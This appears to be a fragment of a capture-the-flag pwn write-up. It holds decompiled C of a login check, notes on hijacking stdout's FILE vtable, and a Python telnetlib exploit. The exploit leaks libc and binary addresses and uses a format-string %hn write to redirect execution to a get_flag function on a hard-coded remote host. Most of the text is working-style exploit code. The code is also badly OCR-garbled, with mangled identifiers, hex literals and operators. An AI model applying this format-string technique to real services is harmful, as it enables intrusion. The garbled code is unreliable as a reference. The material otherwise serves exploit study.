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printf(&sl, vl1);

puts(" login failed.");

puts("1l chance remaining.");
printf("Login: ");
get_buf((__int64)&sl, 256);
printf("Password: ", 256LL);
get_buf((__int64)&s, 256);

v2 = strlen(&s);

MD5((__int64)&s, v2, (__int64)&v4);
v3 = (__int64)"root";

if ( !'stremp(&sl, 'rept’) D)
{
v3 = (__int64)"Pops{secret_MD5}";
if ( !memcmp(&v4, "@ops{secret_MD5}", 8x1@ull) )
sub_FB3();

}

printf(&sl, v3);

puts("” login failed.");

puts("Threat detected. System shutdown.");
exit(1);
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vs = stdnut,

LODWORD(v1l) = (*(int (__fastcall **)(void *, . .int64, ., int64))(*(( QWORD *)uB + 27) + 56LL))(uE, vi, v4);
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x[0:4]&0x8000=1
x[192:196]=0xffffffff
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x[x+0xd8]=y

[y+0x38] = get_flag
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# x+0x38 <==get_flag
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#encoding:utf-8

from convert import *
import telnetlib
import struct

#ip = '192.168.194.129'
#port = 1234

ip = '202.112.26.107"'
port = 10910

t = telnetlib.Telnet(ip, port)

def stop():
raw_input('pause")

def init():
t.read_until('Login:")

t.write('guest\n')



t.read_until('Password:")
t.write('guest123\n')

def login():
t.read_until('Your choice:")
t.write('2\n")
t.read_until('name:")
t.write('\x81"'*4+'A"'*188+"\xff'*4+'a'*(256-196))

def login_as_root():
t.read_until('choice:")
t.write('4\n")
t.write('%75$p%79%p\n')
t.read_until('Password:")
t.write('passwd\n')
data = t.read_until('login').split('login')[@].strip()
mainbase = int(data.split('ex')[1], 16) -0x12d3
libcbase = int(data.split('ex')[2], 16) - ©x2lec5

print hex(libcbase)
print hex(mainbase)

stdout = libcbase + 0x3bf870
X = mainbase + 0x202040
get_flag = mainbase + Oxfb3

print 'stdout', hex(stdout)
print 'x',hex(x)
print 'getflag', hex(get_flag)

# stdout <== x

# x+0xd8 <== x

# x+0x38 <== get flag

print 'x+0xd8', hex(x+0xd8)
print 'x+0x38', hex(x+0x38)

rt =[]

rt.append(x&xffff)
rt.append((x>>16)&xffff)
rt.append((x>>32)8&xffff)
rt.append(x&xffff)
rt.append((x>>16)8&xffff)
rt.append((x>>32)8&xffff)
rt.append(get_flag&oxffff)
rt.append((get_flag>>16)8&0xffff)
rt.append((get_flag>>32)8&0xffff)

rt.sort()

rt2 = []

rt2.append (x&0xffff)
rt2.append((x>>16)8&0Oxffff)
rt2.append((x>>32)8&0Oxffff)
rt2.append (x&0xffff)
rt2.append((x>>16)8&0Oxffff)
rt2.append((x>>32)8&0xffff)
rt2.append(get_flag&oxffff)
rt2.append((get_flag>>16)&0xffff)
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rt3=[stdout, stdout+2, stdout+4, x+0xd8, x+Oxd8+2, x+0xd8+4, Xx+Ox38, X+0x38+2, x+0x38+4]

print 'rt', rt
print 'rt2', rt2
print 'rt3', rt3

final 1 = "'

final_r =
index = 14 + 2 + 7

final_ 1 '%22%$hn%23%hn
final_r = 164(x+0xd8+6)+164(x+0x38+6)
for i in range(len(rt)):
if i !=0:
if rt[i] == rt[i-1]:
continue
if i == @:
temp = rt[i]

else:
temp = rt[i] - rt[i-1]
final_1 += '%'+str(temp)+'x’
for j in range(len(rt2)):
if rt2[j] == rt[i]:
final_1 += '%'+str(index+1)+'$hn’
final_r += 164(rt3[j])
index += 1
print len(final_1l)
final_1 += '@' * (8 * 14 - len(final_l))
shellcode = final_1 + final_r + "\n'
print repr(shellcode)

t.read_until('Login")
t.write(shellcode)

t.read_until('Password"')
t.write('12345\n")

def exp():
stop()
init()
login()
t.write('1\n")
login_as_root()
t.interact()

exp()
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